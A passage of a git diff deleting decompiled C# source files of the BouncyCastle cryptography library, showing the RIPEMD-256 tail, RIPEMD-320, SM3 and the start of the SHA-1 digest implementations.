= F4(h4, h, h2, h3, X[9], 12); - h3 = F4(h3, h4, h, h2, X[11], 14); - h2 = F4(h2, h3, h4, h, X[10], 15); - h = F4(h, h2, h3, h4, X[0], 14); - h4 = F4(h4, h, h2, h3, X[8], 15); - h3 = F4(h3, h4, h, h2, X[12], 9); - h2 = F4(h2, h3, h4, h, X[4], 8); - h = F4(h, h2, h3, h4, X[13], 9); - h4 = F4(h4, h, h2, h3, X[3], 14); - h3 = F4(h3, h4, h, h2, X[7], 5); - h2 = F4(h2, h3, h4, h, X[15], 6); - h = F4(h, h2, h3, h4, X[14], 8); - h4 = F4(h4, h, h2, h3, X[5], 6); - h3 = F4(h3, h4, h, h2, X[6], 5); - h2 = F4(h2, h3, h4, h, X[2], 12); - h5 = FF1(h5, h6, h7, h8, X[8], 15); - h8 = FF1(h8, h5, h6, h7, X[6], 5); - h7 = FF1(h7, h8, h5, h6, X[4], 8); - h6 = FF1(h6, h7, h8, h5, X[1], 11); - h5 = FF1(h5, h6, h7, h8, X[3], 14); - h8 = FF1(h8, h5, h6, h7, X[11], 14); - h7 = FF1(h7, h8, h5, h6, X[15], 6); - h6 = FF1(h6, h7, h8, h5, X[0], 14); - h5 = FF1(h5, h6, h7, h8, X[5], 6); - h8 = FF1(h8, h5, h6, h7, X[12], 9); - h7 = FF1(h7, h8, h5, h6, X[2], 12); - h6 = FF1(h6, h7, h8, h5, X[13], 9); - h5 = FF1(h5, h6, h7, h8, X[9], 12); - h8 = FF1(h8, h5, h6, h7, X[7], 5); - h7 = FF1(h7, h8, h5, h6, X[10], 15); - h6 = FF1(h6, h7, h8, h5, X[14], 8); - num = h4; - h4 = h8; - h8 = num; - H0 += h; - H1 += h2; - H2 += h3; - H3 += h4; - H4 += h5; - H5 += h6; - H6 += h7; - H7 += h8; - xOff = 0; - for (int i = 0; i != X.Length; i++) - { - X[i] = 0; - } - } - - public override IMemoable Copy() - { - return new RipeMD256Digest(this); - } - - public override void Reset(IMemoable other) - { - RipeMD256Digest t = (RipeMD256Digest)other; - CopyIn(t); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/RipeMD320Digest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/RipeMD320Digest.cs deleted file mode 100644 index 615ff67..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/RipeMD320Digest.cs +++ /dev/null @@ -1,534 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class RipeMD320Digest : GeneralDigest -{ - private const int DigestLength = 40; - - private int H0; - - private int H1; - - private int H2; - - private int H3; - - private int H4; - - private int H5; - - private int H6; - - private int H7; - - private int H8; - - private int H9; - - private int[] X = new int[16]; - - private int xOff; - - public override string AlgorithmName => "RIPEMD320"; - - public override int GetDigestSize() - { - return 40; - } - - public RipeMD320Digest() - { - Reset(); - } - - public RipeMD320Digest(RipeMD320Digest t) - : base(t) - { - CopyIn(t); - } - - private void CopyIn(RipeMD320Digest t) - { - CopyIn((GeneralDigest)t); - H0 = t.H0; - H1 = t.H1; - H2 = t.H2; - H3 = t.H3; - H4 = t.H4; - H5 = t.H5; - H6 = t.H6; - H7 = t.H7; - H8 = t.H8; - H9 = t.H9; - Array.Copy(t.X, 0, X, 0, t.X.Length); - xOff = t.xOff; - } - - internal override void ProcessWord(byte[] input, int inOff) - { - X[xOff++] = (input[inOff] & 0xFF) | ((input[inOff + 1] & 0xFF) << 8) | ((input[inOff + 2] & 0xFF) << 16) | ((input[inOff + 3] & 0xFF) << 24); - if (xOff == 16) - { - ProcessBlock(); - } - } - - internal override void ProcessLength(long bitLength) - { - if (xOff > 14) - { - ProcessBlock(); - } - X[14] = (int)(bitLength & 0xFFFFFFFFu); - X[15] = (int)(bitLength >>> 32); - } - - private void UnpackWord(int word, byte[] outBytes, int outOff) - { - outBytes[outOff] = (byte)word; - outBytes[outOff + 1] = (byte)((uint)word >> 8); - outBytes[outOff + 2] = (byte)((uint)word >> 16); - outBytes[outOff + 3] = (byte)((uint)word >> 24); - } - - public override int DoFinal(byte[] output, int outOff) - { - Finish(); - UnpackWord(H0, output, outOff); - UnpackWord(H1, output, outOff + 4); - UnpackWord(H2, output, outOff + 8); - UnpackWord(H3, output, outOff + 12); - UnpackWord(H4, output, outOff + 16); - UnpackWord(H5, output, outOff + 20); - UnpackWord(H6, output, outOff + 24); - UnpackWord(H7, output, outOff + 28); - UnpackWord(H8, output, outOff + 32); - UnpackWord(H9, output, outOff + 36); - Reset(); - return 40; - } - - public override void Reset() - { - base.Reset(); - H0 = 1732584193; - H1 = -271733879; - H2 = -1732584194; - H3 = 271733878; - H4 = -1009589776; - H5 = 1985229328; - H6 = -19088744; - H7 = -1985229329; - H8 = 19088743; - H9 = 1009589775; - xOff = 0; - for (int i = 0; i != X.Length; i++) - { - X[i] = 0; - } - } - - private int RL(int x, int n) - { - return (x << n) | (x >>> 32 - n); - } - - private int F1(int x, int y, int z) - { - return x ^ y ^ z; - } - - private int F2(int x, int y, int z) - { - return (x & y) | (~x & z); - } - - private int F3(int x, int y, int z) - { - return (x | ~y) ^ z; - } - - private int F4(int x, int y, int z) - { - return (x & z) | (y & ~z); - } - - private int F5(int x, int y, int z) - { - return x ^ (y | ~z); - } - - internal override void ProcessBlock() - { - int h = H0; - int h2 = H1; - int h3 = H2; - int h4 = H3; - int h5 = H4; - int h6 = H5; - int h7 = H6; - int h8 = H7; - int h9 = H8; - int h10 = H9; - h = RL(h + F1(h2, h3, h4) + X[0], 11) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F1(h, h2, h3) + X[1], 14) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F1(h5, h, h2) + X[2], 15) + h3; - h = RL(h, 10); - h3 = RL(h3 + F1(h4, h5, h) + X[3], 12) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F1(h3, h4, h5) + X[4], 5) + h; - h4 = RL(h4, 10); - h = RL(h + F1(h2, h3, h4) + X[5], 8) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F1(h, h2, h3) + X[6], 7) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F1(h5, h, h2) + X[7], 9) + h3; - h = RL(h, 10); - h3 = RL(h3 + F1(h4, h5, h) + X[8], 11) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F1(h3, h4, h5) + X[9], 13) + h; - h4 = RL(h4, 10); - h = RL(h + F1(h2, h3, h4) + X[10], 14) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F1(h, h2, h3) + X[11], 15) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F1(h5, h, h2) + X[12], 6) + h3; - h = RL(h, 10); - h3 = RL(h3 + F1(h4, h5, h) + X[13], 7) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F1(h3, h4, h5) + X[14], 9) + h; - h4 = RL(h4, 10); - h = RL(h + F1(h2, h3, h4) + X[15], 8) + h5; - h3 = RL(h3, 10); - h6 = RL(h6 + F5(h7, h8, h9) + X[5] + 1352829926, 8) + h10; - h8 = RL(h8, 10); - h10 = RL(h10 + F5(h6, h7, h8) + X[14] + 1352829926, 9) + h9; - h7 = RL(h7, 10); - h9 = RL(h9 + F5(h10, h6, h7) + X[7] + 1352829926, 9) + h8; - h6 = RL(h6, 10); - h8 = RL(h8 + F5(h9, h10, h6) + X[0] + 1352829926, 11) + h7; - h10 = RL(h10, 10); - h7 = RL(h7 + F5(h8, h9, h10) + X[9] + 1352829926, 13) + h6; - h9 = RL(h9, 10); - h6 = RL(h6 + F5(h7, h8, h9) + X[2] + 1352829926, 15) + h10; - h8 = RL(h8, 10); - h10 = RL(h10 + F5(h6, h7, h8) + X[11] + 1352829926, 15) + h9; - h7 = RL(h7, 10); - h9 = RL(h9 + F5(h10, h6, h7) + X[4] + 1352829926, 5) + h8; - h6 = RL(h6, 10); - h8 = RL(h8 + F5(h9, h10, h6) + X[13] + 1352829926, 7) + h7; - h10 = RL(h10, 10); - h7 = RL(h7 + F5(h8, h9, h10) + X[6] + 1352829926, 7) + h6; - h9 = RL(h9, 10); - h6 = RL(h6 + F5(h7, h8, h9) + X[15] + 1352829926, 8) + h10; - h8 = RL(h8, 10); - h10 = RL(h10 + F5(h6, h7, h8) + X[8] + 1352829926, 11) + h9; - h7 = RL(h7, 10); - h9 = RL(h9 + F5(h10, h6, h7) + X[1] + 1352829926, 14) + h8; - h6 = RL(h6, 10); - h8 = RL(h8 + F5(h9, h10, h6) + X[10] + 1352829926, 14) + h7; - h10 = RL(h10, 10); - h7 = RL(h7 + F5(h8, h9, h10) + X[3] + 1352829926, 12) + h6; - h9 = RL(h9, 10); - h6 = RL(h6 + F5(h7, h8, h9) + X[12] + 1352829926, 6) + h10; - h8 = RL(h8, 10); - int num = h; - h = h6; - h6 = num; - h5 = RL(h5 + F2(h, h2, h3) + X[7] + 1518500249, 7) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F2(h5, h, h2) + X[4] + 1518500249, 6) + h3; - h = RL(h, 10); - h3 = RL(h3 + F2(h4, h5, h) + X[13] + 1518500249, 8) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F2(h3, h4, h5) + X[1] + 1518500249, 13) + h; - h4 = RL(h4, 10); - h = RL(h + F2(h2, h3, h4) + X[10] + 1518500249, 11) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F2(h, h2, h3) + X[6] + 1518500249, 9) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F2(h5, h, h2) + X[15] + 1518500249, 7) + h3; - h = RL(h, 10); - h3 = RL(h3 + F2(h4, h5, h) + X[3] + 1518500249, 15) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F2(h3, h4, h5) + X[12] + 1518500249, 7) + h; - h4 = RL(h4, 10); - h = RL(h + F2(h2, h3, h4) + X[0] + 1518500249, 12) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F2(h, h2, h3) + X[9] + 1518500249, 15) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F2(h5, h, h2) + X[5] + 1518500249, 9) + h3; - h = RL(h, 10); - h3 = RL(h3 + F2(h4, h5, h) + X[2] + 1518500249, 11) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F2(h3, h4, h5) + X[14] + 1518500249, 7) + h; - h4 = RL(h4, 10); - h = RL(h + F2(h2, h3, h4) + X[11] + 1518500249, 13) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F2(h, h2, h3) + X[8] + 1518500249, 12) + h4; - h2 = RL(h2, 10); - h10 = RL(h10 + F4(h6, h7, h8) + X[6] + 1548603684, 9) + h9; - h7 = RL(h7, 10); - h9 = RL(h9 + F4(h10, h6, h7) + X[11] + 1548603684, 13) + h8; - h6 = RL(h6, 10); - h8 = RL(h8 + F4(h9, h10, h6) + X[3] + 1548603684, 15) + h7; - h10 = RL(h10, 10); - h7 = RL(h7 + F4(h8, h9, h10) + X[7] + 1548603684, 7) + h6; - h9 = RL(h9, 10); - h6 = RL(h6 + F4(h7, h8, h9) + X[0] + 1548603684, 12) + h10; - h8 = RL(h8, 10); - h10 = RL(h10 + F4(h6, h7, h8) + X[13] + 1548603684, 8) + h9; - h7 = RL(h7, 10); - h9 = RL(h9 + F4(h10, h6, h7) + X[5] + 1548603684, 9) + h8; - h6 = RL(h6, 10); - h8 = RL(h8 + F4(h9, h10, h6) + X[10] + 1548603684, 11) + h7; - h10 = RL(h10, 10); - h7 = RL(h7 + F4(h8, h9, h10) + X[14] + 1548603684, 7) + h6; - h9 = RL(h9, 10); - h6 = RL(h6 + F4(h7, h8, h9) + X[15] + 1548603684, 7) + h10; - h8 = RL(h8, 10); - h10 = RL(h10 + F4(h6, h7, h8) + X[8] + 1548603684, 12) + h9; - h7 = RL(h7, 10); - h9 = RL(h9 + F4(h10, h6, h7) + X[12] + 1548603684, 7) + h8; - h6 = RL(h6, 10); - h8 = RL(h8 + F4(h9, h10, h6) + X[4] + 1548603684, 6) + h7; - h10 = RL(h10, 10); - h7 = RL(h7 + F4(h8, h9, h10) + X[9] + 1548603684, 15) + h6; - h9 = RL(h9, 10); - h6 = RL(h6 + F4(h7, h8, h9) + X[1] + 1548603684, 13) + h10; - h8 = RL(h8, 10); - h10 = RL(h10 + F4(h6, h7, h8) + X[2] + 1548603684, 11) + h9; - h7 = RL(h7, 10); - num = h2; - h2 = h7; - h7 = num; - h4 = RL(h4 + F3(h5, h, h2) + X[3] + 1859775393, 11) + h3; - h = RL(h, 10); - h3 = RL(h3 + F3(h4, h5, h) + X[10] + 1859775393, 13) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F3(h3, h4, h5) + X[14] + 1859775393, 6) + h; - h4 = RL(h4, 10); - h = RL(h + F3(h2, h3, h4) + X[4] + 1859775393, 7) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F3(h, h2, h3) + X[9] + 1859775393, 14) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F3(h5, h, h2) + X[15] + 1859775393, 9) + h3; - h = RL(h, 10); - h3 = RL(h3 + F3(h4, h5, h) + X[8] + 1859775393, 13) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F3(h3, h4, h5) + X[1] + 1859775393, 15) + h; - h4 = RL(h4, 10); - h = RL(h + F3(h2, h3, h4) + X[2] + 1859775393, 14) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F3(h, h2, h3) + X[7] + 1859775393, 8) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F3(h5, h, h2) + X[0] + 1859775393, 13) + h3; - h = RL(h, 10); - h3 = RL(h3 + F3(h4, h5, h) + X[6] + 1859775393, 6) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F3(h3, h4, h5) + X[13] + 1859775393, 5) + h; - h4 = RL(h4, 10); - h = RL(h + F3(h2, h3, h4) + X[11] + 1859775393, 12) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F3(h, h2, h3) + X[5] + 1859775393, 7) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F3(h5, h, h2) + X[12] + 1859775393, 5) + h3; - h = RL(h, 10); - h9 = RL(h9 + F3(h10, h6, h7) + X[15] + 1836072691, 9) + h8; - h6 = RL(h6, 10); - h8 = RL(h8 + F3(h9, h10, h6) + X[5] + 1836072691, 7) + h7; - h10 = RL(h10, 10); - h7 = RL(h7 + F3(h8, h9, h10) + X[1] + 1836072691, 15) + h6; - h9 = RL(h9, 10); - h6 = RL(h6 + F3(h7, h8, h9) + X[3] + 1836072691, 11) + h10; - h8 = RL(h8, 10); - h10 = RL(h10 + F3(h6, h7, h8) + X[7] + 1836072691, 8) + h9; - h7 = RL(h7, 10); - h9 = RL(h9 + F3(h10, h6, h7) + X[14] + 1836072691, 6) + h8; - h6 = RL(h6, 10); - h8 = RL(h8 + F3(h9, h10, h6) + X[6] + 1836072691, 6) + h7; - h10 = RL(h10, 10); - h7 = RL(h7 + F3(h8, h9, h10) + X[9] + 1836072691, 14) + h6; - h9 = RL(h9, 10); - h6 = RL(h6 + F3(h7, h8, h9) + X[11] + 1836072691, 12) + h10; - h8 = RL(h8, 10); - h10 = RL(h10 + F3(h6, h7, h8) + X[8] + 1836072691, 13) + h9; - h7 = RL(h7, 10); - h9 = RL(h9 + F3(h10, h6, h7) + X[12] + 1836072691, 5) + h8; - h6 = RL(h6, 10); - h8 = RL(h8 + F3(h9, h10, h6) + X[2] + 1836072691, 14) + h7; - h10 = RL(h10, 10); - h7 = RL(h7 + F3(h8, h9, h10) + X[10] + 1836072691, 13) + h6; - h9 = RL(h9, 10); - h6 = RL(h6 + F3(h7, h8, h9) + X[0] + 1836072691, 13) + h10; - h8 = RL(h8, 10); - h10 = RL(h10 + F3(h6, h7, h8) + X[4] + 1836072691, 7) + h9; - h7 = RL(h7, 10); - h9 = RL(h9 + F3(h10, h6, h7) + X[13] + 1836072691, 5) + h8; - h6 = RL(h6, 10); - num = h3; - h3 = h8; - h8 = num; - h3 = RL(h3 + F4(h4, h5, h) + X[1] + -1894007588, 11) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F4(h3, h4, h5) + X[9] + -1894007588, 12) + h; - h4 = RL(h4, 10); - h = RL(h + F4(h2, h3, h4) + X[11] + -1894007588, 14) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F4(h, h2, h3) + X[10] + -1894007588, 15) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F4(h5, h, h2) + X[0] + -1894007588, 14) + h3; - h = RL(h, 10); - h3 = RL(h3 + F4(h4, h5, h) + X[8] + -1894007588, 15) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F4(h3, h4, h5) + X[12] + -1894007588, 9) + h; - h4 = RL(h4, 10); - h = RL(h + F4(h2, h3, h4) + X[4] + -1894007588, 8) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F4(h, h2, h3) + X[13] + -1894007588, 9) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F4(h5, h, h2) + X[3] + -1894007588, 14) + h3; - h = RL(h, 10); - h3 = RL(h3 + F4(h4, h5, h) + X[7] + -1894007588, 5) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F4(h3, h4, h5) + X[15] + -1894007588, 6) + h; - h4 = RL(h4, 10); - h = RL(h + F4(h2, h3, h4) + X[14] + -1894007588, 8) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F4(h, h2, h3) + X[5] + -1894007588, 6) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F4(h5, h, h2) + X[6] + -1894007588, 5) + h3; - h = RL(h, 10); - h3 = RL(h3 + F4(h4, h5, h) + X[2] + -1894007588, 12) + h2; - h5 = RL(h5, 10); - h8 = RL(h8 + F2(h9, h10, h6) + X[8] + 2053994217, 15) + h7; - h10 = RL(h10, 10); - h7 = RL(h7 + F2(h8, h9, h10) + X[6] + 2053994217, 5) + h6; - h9 = RL(h9, 10); - h6 = RL(h6 + F2(h7, h8, h9) + X[4] + 2053994217, 8) + h10; - h8 = RL(h8, 10); - h10 = RL(h10 + F2(h6, h7, h8) + X[1] + 2053994217, 11) + h9; - h7 = RL(h7, 10); - h9 = RL(h9 + F2(h10, h6, h7) + X[3] + 2053994217, 14) + h8; - h6 = RL(h6, 10); - h8 = RL(h8 + F2(h9, h10, h6) + X[11] + 2053994217, 14) + h7; - h10 = RL(h10, 10); - h7 = RL(h7 + F2(h8, h9, h10) + X[15] + 2053994217, 6) + h6; - h9 = RL(h9, 10); - h6 = RL(h6 + F2(h7, h8, h9) + X[0] + 2053994217, 14) + h10; - h8 = RL(h8, 10); - h10 = RL(h10 + F2(h6, h7, h8) + X[5] + 2053994217, 6) + h9; - h7 = RL(h7, 10); - h9 = RL(h9 + F2(h10, h6, h7) + X[12] + 2053994217, 9) + h8; - h6 = RL(h6, 10); - h8 = RL(h8 + F2(h9, h10, h6) + X[2] + 2053994217, 12) + h7; - h10 = RL(h10, 10); - h7 = RL(h7 + F2(h8, h9, h10) + X[13] + 2053994217, 9) + h6; - h9 = RL(h9, 10); - h6 = RL(h6 + F2(h7, h8, h9) + X[9] + 2053994217, 12) + h10; - h8 = RL(h8, 10); - h10 = RL(h10 + F2(h6, h7, h8) + X[7] + 2053994217, 5) + h9; - h7 = RL(h7, 10); - h9 = RL(h9 + F2(h10, h6, h7) + X[10] + 2053994217, 15) + h8; - h6 = RL(h6, 10); - h8 = RL(h8 + F2(h9, h10, h6) + X[14] + 2053994217, 8) + h7; - h10 = RL(h10, 10); - num = h4; - h4 = h9; - h9 = num; - h2 = RL(h2 + F5(h3, h4, h5) + X[4] + -1454113458, 9) + h; - h4 = RL(h4, 10); - h = RL(h + F5(h2, h3, h4) + X[0] + -1454113458, 15) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F5(h, h2, h3) + X[5] + -1454113458, 5) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F5(h5, h, h2) + X[9] + -1454113458, 11) + h3; - h = RL(h, 10); - h3 = RL(h3 + F5(h4, h5, h) + X[7] + -1454113458, 6) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F5(h3, h4, h5) + X[12] + -1454113458, 8) + h; - h4 = RL(h4, 10); - h = RL(h + F5(h2, h3, h4) + X[2] + -1454113458, 13) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F5(h, h2, h3) + X[10] + -1454113458, 12) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F5(h5, h, h2) + X[14] + -1454113458, 5) + h3; - h = RL(h, 10); - h3 = RL(h3 + F5(h4, h5, h) + X[1] + -1454113458, 12) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F5(h3, h4, h5) + X[3] + -1454113458, 13) + h; - h4 = RL(h4, 10); - h = RL(h + F5(h2, h3, h4) + X[8] + -1454113458, 14) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F5(h, h2, h3) + X[11] + -1454113458, 11) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F5(h5, h, h2) + X[6] + -1454113458, 8) + h3; - h = RL(h, 10); - h3 = RL(h3 + F5(h4, h5, h) + X[15] + -1454113458, 5) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F5(h3, h4, h5) + X[13] + -1454113458, 6) + h; - h4 = RL(h4, 10); - h7 = RL(h7 + F1(h8, h9, h10) + X[12], 8) + h6; - h9 = RL(h9, 10); - h6 = RL(h6 + F1(h7, h8, h9) + X[15], 5) + h10; - h8 = RL(h8, 10); - h10 = RL(h10 + F1(h6, h7, h8) + X[10], 12) + h9; - h7 = RL(h7, 10); - h9 = RL(h9 + F1(h10, h6, h7) + X[4], 9) + h8; - h6 = RL(h6, 10); - h8 = RL(h8 + F1(h9, h10, h6) + X[1], 12) + h7; - h10 = RL(h10, 10); - h7 = RL(h7 + F1(h8, h9, h10) + X[5], 5) + h6; - h9 = RL(h9, 10); - h6 = RL(h6 + F1(h7, h8, h9) + X[8], 14) + h10; - h8 = RL(h8, 10); - h10 = RL(h10 + F1(h6, h7, h8) + X[7], 6) + h9; - h7 = RL(h7, 10); - h9 = RL(h9 + F1(h10, h6, h7) + X[6], 8) + h8; - h6 = RL(h6, 10); - h8 = RL(h8 + F1(h9, h10, h6) + X[2], 13) + h7; - h10 = RL(h10, 10); - h7 = RL(h7 + F1(h8, h9, h10) + X[13], 6) + h6; - h9 = RL(h9, 10); - h6 = RL(h6 + F1(h7, h8, h9) + X[14], 5) + h10; - h8 = RL(h8, 10); - h10 = RL(h10 + F1(h6, h7, h8) + X[0], 15) + h9; - h7 = RL(h7, 10); - h9 = RL(h9 + F1(h10, h6, h7) + X[3], 13) + h8; - h6 = RL(h6, 10); - h8 = RL(h8 + F1(h9, h10, h6) + X[9], 11) + h7; - h10 = RL(h10, 10); - h7 = RL(h7 + F1(h8, h9, h10) + X[11], 11) + h6; - h9 = RL(h9, 10); - H0 += h; - H1 += h2; - H2 += h3; - H3 += h4; - H4 += h10; - H5 += h6; - H6 += h7; - H7 += h8; - H8 += h9; - H9 += h5; - xOff = 0; - for (int i = 0; i != X.Length; i++) - { - X[i] = 0; - } - } - - public override IMemoable Copy() - { - return new RipeMD320Digest(this); - } - - public override void Reset(IMemoable other) - { - RipeMD320Digest t = (RipeMD320Digest)other; - CopyIn(t); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/SM3Digest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/SM3Digest.cs deleted file mode 100644 index c218f3a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/SM3Digest.cs +++ /dev/null @@ -1,231 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class SM3Digest : GeneralDigest -{ - private const int DIGEST_LENGTH = 32; - - private const int BLOCK_SIZE = 16; - - private uint[] V = new uint[8]; - - private uint[] inwords = new uint[16]; - - private int xOff; - - private uint[] W = new uint[68]; - - private static readonly uint[] T; - - public override string AlgorithmName => "SM3"; - - static SM3Digest() - { - T = new uint[64]; - for (int i = 0; i < 16; i++) - { - uint num = 2043430169u; - T[i] = (num << i) | (num >> 32 - i); - } - for (int j = 16; j < 64; j++) - { - int num2 = j % 32; - uint num3 = 2055708042u; - T[j] = (num3 << num2) | (num3 >> 32 - num2); - } - } - - public SM3Digest() - { - Reset(); - } - - public SM3Digest(SM3Digest t) - : base(t) - { - CopyIn(t); - } - - private void CopyIn(SM3Digest t) - { - Array.Copy(t.V, 0, V, 0, V.Length); - Array.Copy(t.inwords, 0, inwords, 0, inwords.Length); - xOff = t.xOff; - } - - public override int GetDigestSize() - { - return 32; - } - - public override IMemoable Copy() - { - return new SM3Digest(this); - } - - public override void Reset(IMemoable other) - { - SM3Digest t = (SM3Digest)other; - CopyIn((GeneralDigest)t); - CopyIn(t); - } - - public override void Reset() - { - base.Reset(); - V[0] = 1937774191u; - V[1] = 1226093241u; - V[2] = 388252375u; - V[3] = 3666478592u; - V[4] = 2842636476u; - V[5] = 372324522u; - V[6] = 3817729613u; - V[7] = 2969243214u; - xOff = 0; - } - - public override int DoFinal(byte[] output, int outOff) - { - Finish(); - Pack.UInt32_To_BE(V, output, outOff); - Reset(); - return 32; - } - - internal override void ProcessWord(byte[] input, int inOff) - { - uint num = Pack.BE_To_UInt32(input, inOff); - inwords[xOff] = num; - xOff++; - if (xOff >= 16) - { - ProcessBlock(); - } - } - - internal override void ProcessLength(long bitLength) - { - if (xOff > 14) - { - inwords[xOff] = 0u; - xOff++; - ProcessBlock(); - } - while (xOff < 14) - { - inwords[xOff] = 0u; - xOff++; - } - inwords[xOff++] = (uint)(bitLength >> 32); - inwords[xOff++] = (uint)bitLength; - } - - private uint P0(uint x) - { - uint num = (x << 9) | (x >> 23); - uint num2 = (x << 17) | (x >> 15); - return x ^ num ^ num2; - } - - private uint P1(uint x) - { - uint num = (x << 15) | (x >> 17); - uint num2 = (x << 23) | (x >> 9); - return x ^ num ^ num2; - } - - private uint FF0(uint x, uint y, uint z) - { - return x ^ y ^ z; - } - - private uint FF1(uint x, uint y, uint z) - { - return (x & y) | (x & z) | (y & z); - } - - private uint GG0(uint x, uint y, uint z) - { - return x ^ y ^ z; - } - - private uint GG1(uint x, uint y, uint z) - { - return (x & y) | (~x & z); - } - - internal override void ProcessBlock() - { - for (int i = 0; i < 16; i++) - { - W[i] = inwords[i]; - } - for (int j = 16; j < 68; j++) - { - uint num = W[j - 3]; - uint num2 = (num << 15) | (num >> 17); - uint num3 = W[j - 13]; - uint num4 = (num3 << 7) | (num3 >> 25); - W[j] = P1(W[j - 16] ^ W[j - 9] ^ num2) ^ num4 ^ W[j - 6]; - } - uint num5 = V[0]; - uint num6 = V[1]; - uint num7 = V[2]; - uint num8 = V[3]; - uint num9 = V[4]; - uint num10 = V[5]; - uint num11 = V[6]; - uint num12 = V[7]; - for (int k = 0; k < 16; k++) - { - uint num13 = (num5 << 12) | (num5 >> 20); - uint num14 = num13 + num9 + T[k]; - uint num15 = (num14 << 7) | (num14 >> 25); - uint num16 = num15 ^ num13; - uint num17 = W[k]; - uint num18 = num17 ^ W[k + 4]; - uint num19 = FF0(num5, num6, num7) + num8 + num16 + num18; - uint x = GG0(num9, num10, num11) + num12 + num15 + num17; - num8 = num7; - num7 = (num6 << 9) | (num6 >> 23); - num6 = num5; - num5 = num19; - num12 = num11; - num11 = (num10 << 19) | (num10 >> 13); - num10 = num9; - num9 = P0(x); - } - for (int l = 16; l < 64; l++) - { - uint num20 = (num5 << 12) | (num5 >> 20); - uint num21 = num20 + num9 + T[l]; - uint num22 = (num21 << 7) | (num21 >> 25); - uint num23 = num22 ^ num20; - uint num24 = W[l]; - uint num25 = num24 ^ W[l + 4]; - uint num26 = FF1(num5, num6, num7) + num8 + num23 + num25; - uint x2 = GG1(num9, num10, num11) + num12 + num22 + num24; - num8 = num7; - num7 = (num6 << 9) | (num6 >> 23); - num6 = num5; - num5 = num26; - num12 = num11; - num11 = (num10 << 19) | (num10 >> 13); - num10 = num9; - num9 = P0(x2); - } - uint[] v; - (v = V)[0] = v[0] ^ num5; - (v = V)[1] = v[1] ^ num6; - (v = V)[2] = v[2] ^ num7; - (v = V)[3] = v[3] ^ num8; - (v = V)[4] = v[4] ^ num9; - (v = V)[5] = v[5] ^ num10; - (v = V)[6] = v[6] ^ num11; - (v = V)[7] = v[7] ^ num12; - xOff = 0; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Sha1Digest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Sha1Digest.cs deleted file mode 100644 index 041ea7c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Sha1Digest.cs +++ /dev/null @@ -1,205 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class Sha1Digest : GeneralDigest -{ - private const int DigestLength = 20; - - private const uint Y1 = 1518500249u; - - private const uint Y2 = 1859775393u; - - private const uint Y3 = 2400959708u; - - private const uint Y4 = 3395469782u; - - private uint H1; - - private uint H2; - - private uint H3; - - private uint H4; - - private uint H5; - - private uint[] X = new uint[80]; - - private int xOff; - - public override string AlgorithmName => "SHA-1"; - - public Sha1Digest() - { - Reset(); - } - - public Sha1Digest(Sha1Digest t) - : base(t) - { - CopyIn(t); - } - - private void 